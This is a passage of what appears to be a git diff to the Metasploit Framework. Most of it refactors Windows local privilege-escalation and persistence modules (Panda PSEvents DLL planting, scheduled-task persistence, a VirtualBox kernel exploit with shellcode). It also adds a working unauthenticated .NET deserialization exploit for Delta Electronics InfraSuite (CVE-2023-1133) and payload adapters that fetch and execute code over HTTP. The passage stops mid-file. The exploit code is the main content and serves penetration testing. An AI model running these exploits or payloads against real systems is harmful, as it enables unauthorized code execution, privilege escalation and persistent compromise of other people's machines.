Panda Internet Security 2016 (<=16.1.2) - }, - 'License' => MSF_LICENSE, - 'Author' => [ - "h00die ", # Module, + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Panda Security PSEvents Privilege Escalation', + 'Description' => %q{ + PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges. + When run, it checks a user writable folder for certain DLL files, and if any are found + they are automatically run. + Vulnerable Products: + Panda Global Protection 2016 (<=16.1.2) + Panda Antivirus Pro 2016 (<=16.1.2) + Panda Small Business Protection (<=16.1.2) + Panda Internet Security 2016 (<=16.1.2) + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die ', # Module, 'Security-Assessment.com' # discovery ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X64 } ] - ], - 'DefaultTarget' => 0, - 'DefaultOptions' => { - 'payload' => 'windows/meterpreter/reverse_tcp', - 'exitfunc' => 'seh' - }, - 'References' => [ - [ - 'EDB', '40020', - 'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf', - 'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053' - ] - ], - 'DisclosureDate'=> '2016-06-27' - )) + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'payload' => 'windows/meterpreter/reverse_tcp', + 'exitfunc' => 'seh' + }, + 'References' => [ + [ + 'EDB', '40020', + 'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf', + 'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053' + ] + ], + 'DisclosureDate' => '2016-06-27' + ) + ) register_options( [ - OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll', - ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]), + OptEnum.new('DLL', [ + true, 'dll to create', 'cryptnet.dll', + ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll'] + ]), OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]), - ]) + ] + ) end - def get_path() - case sysinfo['OS'] - when /Windows (NT|XP)/ + def get_path + version = get_version_info + if version.build_number < Msf::WindowsVersion::Vista_SP0 return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' - else #/Windows (7|8|10|2012|2008)/ we assume a modern operating system + else # AllUsers directory changed as of Vista return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' end end def check - if directory?(get_path()) + if directory?(get_path) print_good('Vuln path exists') CheckCode::Appears else - vprint_error("#{get_path()} doesn't exist on target") + vprint_error("#{get_path} doesn't exist on target") CheckCode::Safe end end def exploit - vprint_status("OS Detected as: #{sysinfo['OS']}") + version = get_version_info + vprint_status("OS Detected as: #{version.product_name}") - payload_filepath = get_path() + payload_filepath = get_path payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}" upload_payload_dll(payload_filepath) # start the hour wait stime = Time.now.to_f print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...' - print_status "Start Time: #{Time.now.to_s}" - until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f - Rex.sleep(1) - end + print_status "Start Time: #{Time.now}" + Rex.sleep(1) until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f end def upload_payload_dll(payload_filepath) - payload = generate_payload_dll() + payload = generate_payload_dll print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 616c7a21648c4..5f17eb2b48b87 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -70,9 +70,8 @@ def initialize(info = {}) end def check - os = sysinfo["OS"] - if os =~ /windows/i - file_path = session.sys.config.getenv('windir') << "\\system32\\win32k.sys" + if session.platform == 'windows' + file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys' major, minor, build, revision, branch = file_version(file_path) vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}") @@ -93,22 +92,22 @@ def check when 6002 if branch == 18 return Exploit::CheckCode::Appears if revision < 18861 - else - return Exploit::CheckCode::Appears if revision < 23132 + elsif revision < 23132 + return Exploit::CheckCode::Appears end when 7600 return Exploit::CheckCode::Appears when 7601 if branch == 18 return Exploit::CheckCode::Appears if revision < 18176 - else - return Exploit::CheckCode::Appears if revision < 22348 + elsif revision < 22348 + return Exploit::CheckCode::Appears end when 9200 if branch == 16 return Exploit::CheckCode::Appears if revision < 16627 - else - return Exploit::CheckCode::Appears if revision < 20732 + elsif revision < 20732 + return Exploit::CheckCode::Appears end end end @@ -122,11 +121,11 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - if sysinfo["Architecture"] == ARCH_X64 - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] == ARCH_X64 + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end # invoke the exploit, passing in the address of the payload that @@ -134,7 +133,7 @@ def exploit print_status('Reflectively injecting the DLL into a new process and triggering the LPE...') encoded_payload = payload.encoded execute_dll( - ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3660", "ppr_flatten_rec.x86.dll"), + ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3660', 'ppr_flatten_rec.x86.dll'), encoded_payload ) print_status("Exploit thread executing (can take a while to run), waiting #{datastore['WfsDelay']} sec ...") diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 0e39f1cb2f5c6..98a397467408e 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -69,15 +69,14 @@ def initialize(info = {}) end def exploit - if not (sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|2019|2022|10)/ ) - fail_with(Failure::NoTarget, "This module only works on Vista/2008 and above") + version = get_version_info + unless version.build_number >= Msf::WindowsVersion::Vista_SP0 + fail_with(Failure::NoTarget, 'This module only works on Vista/2008 and above') end - if datastore['TRIGGER'] == "event" - if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil? - print_status("The properties of any event in the event viewer will contain this information") - fail_with(Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event") - end + if datastore['TRIGGER'] == 'event' && (datastore['EVENT_LOG'].nil? || datastore['EVENT_ID'].nil?) + print_status('The properties of any event in the event viewer will contain this information') + fail_with(Failure::BadConfig, 'Advanced options EVENT_LOG and EVENT_ID required for event') end # Generate payload @@ -102,7 +101,7 @@ def exploit write_xml(xml, xml_path, rexe_path) # Name task with Opt or give random name - schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha(rand(6..13)) # Create task with modified XML create_task(xml_path, schname, rexe_path) @@ -112,8 +111,8 @@ def exploit # Generate name for payload # Returns name def generate_rexename - rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + ".exe" - if not rexename =~ /\.exe$/ + rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe' + if rexename !~ /\.exe$/ print_warning("#{datastore['REXENAME']} isn't an exe") end return rexename @@ -125,7 +124,7 @@ def generate_rexename def generate_path(rexename) # Generate a path to write payload and XML path = datastore['PATH'] || session.sys.config.getenv('TEMP') - xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.xml" + xml_path = "#{path}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.xml" rexe_path = "#{path}\\#{rexename}" return xml_path, rexe_path end @@ -142,7 +141,7 @@ def upload_rexe(path, payload) begin write_file(path, payload) - rescue => e + rescue StandardError fail_with(Failure::Unknown, "Could not upload to #{path}") end @@ -153,22 +152,22 @@ def upload_rexe(path, payload) # Creates a scheduled task, exports as XML, deletes task # Returns normal XML for generic task def create_xml(rexe_path) - xml_path = File.join(Msf::Config.data_directory, "exploits", "s4u_persistence.xml") - xml_file = File.new(xml_path, "r") + xml_path = File.join(Msf::Config.data_directory, 'exploits', 's4u_persistence.xml') + xml_file = File.new(xml_path, 'r') xml = xml_file.read xml_file.close # Get local time, not system time from victim machine begin vt = client.railgun.kernel32.GetLocalTime(32) - ut = vt['lpSystemTime'].unpack("v*") + ut = vt['lpSystemTime'].unpack('v*') t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5]) - rescue - print_warning("Could not read system time from victim... Using your local time to determine creation date") + rescue StandardError + print_warning('Could not read system time from victim... Using your local time to determine creation date') t = ::Time.now end - date = t.strftime("%Y-%m-%d") - time = t.strftime("%H:%M:%S") + date = t.strftime('%Y-%m-%d') + time = t.strftime('%H:%M:%S') # Put in correct times xml = xml.gsub(/DATEHERE/, "#{date}T#{time}") @@ -192,19 +191,19 @@ def add_xml_triggers(xml) case datastore['TRIGGER'] when 'logon' # Trigger based on winlogon event, checks windows license key after logon - print_status("This trigger triggers on event 4101 which validates the Windows license") + print_status('This trigger triggers on event 4101 which validates the Windows license') line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]" - xml = create_trigger_event_tags("Application", line, xml) + xml = create_trigger_event_tags('Application', line, xml) when 'lock' - xml = create_trigger_tags("SessionLock", xml) + xml = create_trigger_tags('SessionLock', xml) when 'unlock' - xml = create_trigger_tags("SessionUnlock", xml) + xml = create_trigger_tags('SessionUnlock', xml) when 'event' line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" - if not datastore['XPATH'].nil? and not datastore['XPATH'].empty? + if !datastore['XPATH'].nil? && !datastore['XPATH'].empty? # Append xpath queries line << " and #{datastore['XPATH']}" # Print XPath query, useful to user to spot issues with uncommented single quotes @@ -218,7 +217,7 @@ def add_xml_triggers(xml) unless datastore['FREQUENCY'].nil? || datastore['FREQUENCY'] == 0 minutes = datastore['FREQUENCY'] else - print_status("Defaulting frequency to every hour") + print_status('Defaulting frequency to every hour') minutes = 60 end xml = xml.sub(/.*?PT#{minutes}M<") @@ -228,7 +227,7 @@ def add_xml_triggers(xml) # Generate expire tag end_boundary = create_expire_tag # Inject expire tag - insert = xml.index("") + insert = xml.index('') xml.insert(insert + 16, "\n #{end_boundary}") end end @@ -238,21 +237,21 @@ def add_xml_triggers(xml) ############################################################## # Creates end boundary tag which expires the trigger # Returns XML for expire - def create_expire_tag() + def create_expire_tag # Get local time, not system time from victim machine begin vt = client.railgun.kernel32.GetLocalTime(32) - ut = vt['lpSystemTime'].unpack("v*") + ut = vt['lpSystemTime'].unpack('v*') t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5]) - rescue - print_error("Could not read system time from victim... Using your local time to determine expire date") + rescue StandardError + print_error('Could not read system time from victim... Using your local time to determine expire date') t = ::Time.now end # Create time object to add expire time to and create tag - t = t + (datastore['EXPIRE_TIME'] * 60) - date = t.strftime("%Y-%m-%d") - time = t.strftime("%H:%M:%S") + t += (datastore['EXPIRE_TIME'] * 60) + date = t.strftime('%Y-%m-%d') + time = t.strftime('%H:%M:%S') end_boundary = "#{date}T#{time}" return end_boundary end @@ -271,9 +270,9 @@ def create_trigger_tags(trig, xml) temp_xml << " true\n" temp_xml << " #{trig}\n" temp_xml << " #{domain}\\#{user}\n" - temp_xml << " " + temp_xml << ' ' - xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + xml = xml.gsub(%r{.*}m, temp_xml) return xml end @@ -288,14 +287,14 @@ def create_trigger_event_tags(log, line, xml) temp_xml = "\n" temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0 temp_xml << " true\n" - temp_xml << " <QueryList><Query Id=\"0\" " + temp_xml << ' <QueryList><Query Id="0" ' temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" temp_xml << line - temp_xml << "</Select></Query></QueryList>" + temp_xml << '</Select></Query></QueryList>' temp_xml << "\n" - temp_xml << " " + temp_xml << ' ' - xml = xml.gsub(/.*<\/TimeTrigger>/m, temp_xml) + xml = xml.gsub(%r{.*}m, temp_xml) return xml end @@ -309,7 +308,7 @@ def write_xml(xml, path, rexe_path) end begin write_file(path, xml) - rescue + rescue StandardError delete_file(rexe_path) fail_with(Failure::Unknown, "Issues writing XML to #{path}") end @@ -320,11 +319,9 @@ def write_xml(xml, path, rexe_path) # Takes path and delete file # Returns boolean for success def delete_file(path) - begin - file_rm(path) - rescue - print_warning("Could not delete file #{path}, delete manually") - end + file_rm(path) + rescue StandardError + print_warning("Could not delete file #{path}, delete manually") end ############################################################## @@ -332,43 +329,43 @@ def delete_file(path) # Returns boolean for success def create_task(path, schname, rexe_path) # create task using XML file on victim fs - create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"") + create_task_response = cmd_exec('cmd.exe', "/c schtasks /create /xml #{path} /tn \"#{schname}\"") if create_task_response =~ /has successfully been created/ print_good("Persistence task #{schname} created successfully") # Create to delete commands for exe and task del_task = "schtasks /delete /tn \"#{schname}\" /f" - print_status("#{"To delete task:".ljust(20)} #{del_task}") - print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}") + print_status("#{'To delete task:'.ljust(20)} #{del_task}") + print_status("#{'To delete payload:'.ljust(20)} del #{rexe_path}") del_task << "\ndel #{rexe_path}" # Delete XML from victim delete_file(path) # Save info to notes DB - report_note(:host => session.session_host, - :type => "host.s4u_persistance.cleanup", - :data => { - :session_num => session.sid, - :stype => session.type, - :desc => session.info, - :platform => session.platform, - :via_payload => session.via_payload, - :via_exploit => session.via_exploit, - :created_at => Time.now.utc, - :delete_commands => del_task + report_note(host: session.session_host, + type: 'host.s4u_persistance.cleanup', + data: { + session_num: session.sid, + stype: session.type, + desc: session.info, + platform: session.platform, + via_payload: session.via_payload, + via_exploit: session.via_exploit, + created_at: Time.now.utc, + delete_commands: del_task }) elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/ # Clean up delete_file(rexe_path) delete_file(path) - error = "The scheduled task name is already in use" + error = 'The scheduled task name is already in use' fail_with(Failure::Unknown, error) else - error = "Issues creating task using XML file schtasks" + error = 'Issues creating task using XML file schtasks' vprint_error("Error: #{create_task_response}") - if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event" - print_warning("Security log can restricted by UAC, try a different trigger") + if (datastore['EVENT_LOG'] == 'Security') && (datastore['TRIGGER'] == 'Event') + print_warning('Security log can restricted by UAC, try a different trigger') end # Clean up delete_file(rexe_path) diff --git a/modules/exploits/windows/local/srclient_dll_hijacking.rb b/modules/exploits/windows/local/srclient_dll_hijacking.rb index c09eb6e7be1fe..fb62592422d5e 100644 --- a/modules/exploits/windows/local/srclient_dll_hijacking.rb +++ b/modules/exploits/windows/local/srclient_dll_hijacking.rb @@ -50,7 +50,8 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE, ], - 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ] + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ], + 'Reliability' => [] }, 'Compat' => { 'Meterpreter' => { @@ -230,16 +231,12 @@ def monitor_tiworker end def check - # check OS - unless sysinfo['OS'].include?('2012') + version = get_version_info + unless version.build_number == Msf::WindowsVersion::Server2012 && version.windows_server? return Exploit::CheckCode::Safe('Target is not Windows Server 2012.') end - if sysinfo['OS'].include?('R2') - return Exploit::CheckCode::Safe('Target is Windows Server 2012 R2, but only Windows Server 2012 is vulnerable.') - end - - print_status("Target is #{sysinfo['OS']}") + print_status("Target is #{version.product_name}") # obtain the Windows Update setting to see if exploitation could work at all @wupdate_setting = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update', 'AUOptions') diff --git a/modules/exploits/windows/local/tokenmagic.rb b/modules/exploits/windows/local/tokenmagic.rb index dd9f24987d988..34825efdddb1d 100644 --- a/modules/exploits/windows/local/tokenmagic.rb +++ b/modules/exploits/windows/local/tokenmagic.rb @@ -175,23 +175,17 @@ def validate_payload end def check - sysinfo_value = sysinfo['OS'] - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/) - if build_num.nil? - return CheckCode::Unknown("Couldn't retrieve the target's build number!") - else - vprint_status("Target's build number: #{build_num}") - build_num = build_num[0].to_i - end + version = get_version_info - vprint_status("Build Number = #{build_num}") + vprint_status("OS: #{version.product_name}") + # Service method has been tested on Windows 7, 8 and 10 (1803 and ealier) + vulnerable_to_service = version.build_number.between?(Msf::WindowsVersion::Win7_SP1, Msf::WindowsVersion::Win10_1803) if datastore['METHOD'] =~ /service/i - # Service method has been tested on Windows 7, 8 and 10 (1803 and ealier) - return Exploit::CheckCode::Appears if (build_num >= 7601 && build_num <= 17134) - elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134) + return Exploit::CheckCode::Appears if vulnerable_to_service + elsif version.build_number.between?(Msf::WindowsVersion::Win10_1703, Msf::WindowsVersion::Win10_1803) # DLL method has been tested on Windows 10 (1703 to 1803) return Exploit::CheckCode::Appears - elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7601 && build_num < 15063) + elsif datastore['METHOD'] =~ /dll/i && vulnerable_to_service print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!") end Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/local/virtual_box_guest_additions.rb b/modules/exploits/windows/local/virtual_box_guest_additions.rb index 2ff1cc294c957..838e3e27d37f7 100644 --- a/modules/exploits/windows/local/virtual_box_guest_additions.rb +++ b/modules/exploits/windows/local/virtual_box_guest_additions.rb @@ -34,7 +34,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ @@ -69,10 +69,10 @@ def initialize(info = {}) end def fill_memory(proc, address, length, content) - session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') - if not proc.memory.writable?(address) - vprint_error("Failed to allocate memory") + if !proc.memory.writable?(address) + vprint_error('Failed to allocate memory') return nil else vprint_good("#{address} is now writable") @@ -81,7 +81,7 @@ def fill_memory(proc, address, length, content) result = proc.memory.write(address, content) if result.nil? - vprint_error("Failed to write contents to memory") + vprint_error('Failed to write contents to memory') return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") @@ -91,7 +91,7 @@ def fill_memory(proc, address, length, content) end def check - if sysinfo["Architecture"] == ARCH_X64 + if sysinfo['Architecture'] == ARCH_X64 return Exploit::CheckCode::Safe end @@ -102,12 +102,12 @@ def check session.railgun.kernel32.CloseHandle(handle) - os = sysinfo["OS"] - unless (os =~ /windows xp.*service pack 3/i) + version = get_version_info + if version != Msf::WindowsVersion::XP_SP3 return Exploit::CheckCode::Safe end - file_path = get_env('WINDIR') << "\\system32\\drivers\\vboxguest.sys" + file_path = get_env('WINDIR') << '\\system32\\drivers\\vboxguest.sys' unless file?(file_path) return Exploit::CheckCode::Unknown end @@ -139,21 +139,21 @@ def exploit end if check == Exploit::CheckCode::Safe - fail_with(Failure::NotVulnerable, "Exploit not available on this system") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system') end handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? - fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device") + fail_with(Failure::NoTarget, 'Unable to open \\\\.\\vboxguest device') end - print_status("Disclosing the HalDispatchTable address...") + print_status('Disclosing the HalDispatchTable address...') hal_dispatch_table = find_haldispatchtable if hal_dispatch_table.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Failed to disclose HalDispatchTable") + fail_with(Failure::Unknown, 'Failed to disclose HalDispatchTable') else - print_good("Address successfully disclosed.") + print_good('Address successfully disclosed.') end print_status('Getting the hal.dll base address...') @@ -164,7 +164,7 @@ def exploit print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] - print_status("Storing the shellcode in memory...") + print_status('Storing the shellcode in memory...') this_proc = session.sys.process.open restore_ptrs = "\x31\xc0" # xor eax, eax @@ -181,32 +181,32 @@ def exploit result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory') else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end - print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + print_status('Triggering the vulnerability, corrupting the HalDispatchTable...') session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0) session.railgun.kernel32.CloseHandle(handle) - print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") + print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...') session.railgun.ntdll.NtQueryIntervalProfile(2, 4) - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') - unless is_system? - fail_with(Failure::Unknown, "The exploitation wasn't successful") + if is_system? + print_good('Exploitation successful!') else - print_good("Exploitation successful!") + fail_with(Failure::Unknown, "The exploitation wasn't successful") end p = payload.encoded - print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") + print_status("Injecting #{p.length} bytes to memory and executing it...") if execute_shellcode(p) - print_good("Enjoy") + print_good('Enjoy') else - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end end end diff --git a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb new file mode 100644 index 0000000000000..0f6c3febc2fe6 --- /dev/null +++ b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb @@ -0,0 +1,137 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Udp + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Delta Electronics InfraSuite Device Master Deserialization', + 'Description' => %q{ + Delta Electronics InfraSuite Device Master versions below v1.0.5 have an + unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()' + method of the 'Device-Gateway-Status' process. + + The 'ParseUDPPacket()' method reads user-controlled packet data and eventually + calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation, + leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process. + }, + 'Author' => [ + 'Anonymous', # Vulnerability discovery + 'Shelby Pace' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-1133'], + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'], + ['URL', 'https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133'] + ], + 'Platform' => 'win', + 'Privileged' => false, + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'Targets' => [ + [ + 'Windows EXE Dropper', + { + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :windows_dropper, + 'CmdStagerFlavor' => :psh_invokewebrequest + } + ], + [ + 'Windows CMD', + { + 'Arch' => [ARCH_CMD], + 'Type' => :windows_cmd + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-05-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options([ + Opt::RPORT(10100), + OptInt.new('INFRASUITE_PORT', [ true, 'The port on which the InfraSuite Manager is listening', 80 ]), + OptString.new('TARGETURI', [ true, 'The base path to the InfraSuite Manager', '/' ]) + ]) + end + + def check + print_status('Requesting the login page to determine if target is InfraSuite Device Master...') + res = send_request_cgi( + 'method' => 'GET', + 'rport' => datastore['INFRASUITE_PORT'], + 'uri' => normalize_uri(target_uri.path, 'login.html') + ) + + return CheckCode::Unknown unless res + + unless res.body.include?('InfraSuite Manager Login') + return CheckCode::Safe('Target does not appear to be InfraSuite Device Master.') + end + + print_status('Target is InfraSuite Device Master. Now attempting to determine version.') + res = send_request_cgi( + 'method' => 'GET', + 'rport' => datastore['INFRASUITE_PORT'], + 'uri' => normalize_uri(target_uri.path, 'js/webcfg.js') + ) + + unless res&.body&.include?('var devicemasterCfg') + return CheckCode::Detected('Discovered InfraSuite Device Master, but couldn\'t determine version.') + end + + version = res.body.match(/version:'(\d+(?:\.\d+)+[a-zA-Z]?)'/) + unless version && version.length > 1 + return CheckCode::Detected('Failed to find version string') + end + + version = version[1] + vprint_status("Found version '#{version}' of InfraSuite Device Master") + r_vers = Rex::Version.new(version) + + return CheckCode::Appears if r_vers < Rex::Version.new('1.0.5') + + CheckCode::Safe + end + + def exploit + connect_udp + case target['Type'] + when :windows_dropper + execute_cmdstager + when :windows_cmd + execute_command(payload.encoded) + end + end + + def execute_command(cmd, _opts = {}) + serialized = ::Msf::Util::DotNetDeserialization.generate( + cmd, + gadget_chain: :ClaimsPrincipal, + formatter: :BinaryFormatter + ) + + pkt = "\x01#{[ serialized.length ].pack('n')}#{serialized}" + udp_sock.put(pkt) + end + + def cleanup + disconnect_udp + end +end diff --git a/modules/payloads/adapters/cmd/linux/http/mips64.rb b/modules/payloads/adapters/cmd/linux/http/mips64.rb new file mode 100644 index 0000000000000..8cbdde61f21aa --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/http/mips64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and execute a MIPS64 payload from an HTTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_MIPS64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/http/x64.rb b/modules/payloads/adapters/cmd/linux/http/x64.rb new file mode 100644 index 0000000000000..f18ae1f1f9929 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/http/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and execute an x64 payload from an HTTP server.', + 'Author' => 'Brendan Watters', + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/http/x86.rb b/modules/payloads/adapters/cmd/linux/http/x86.rb new file mode 100644 index 0000000000000..bdd7624ddad8d --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/http/x86.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and execute a x86 payload from an HTTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/https/mips64.rb b/modules/payloads/adapters/cmd/linux/https/mips64.rb new file mode 100644 index 0000000000000..05c15d6b482fe --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/https/mips64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include 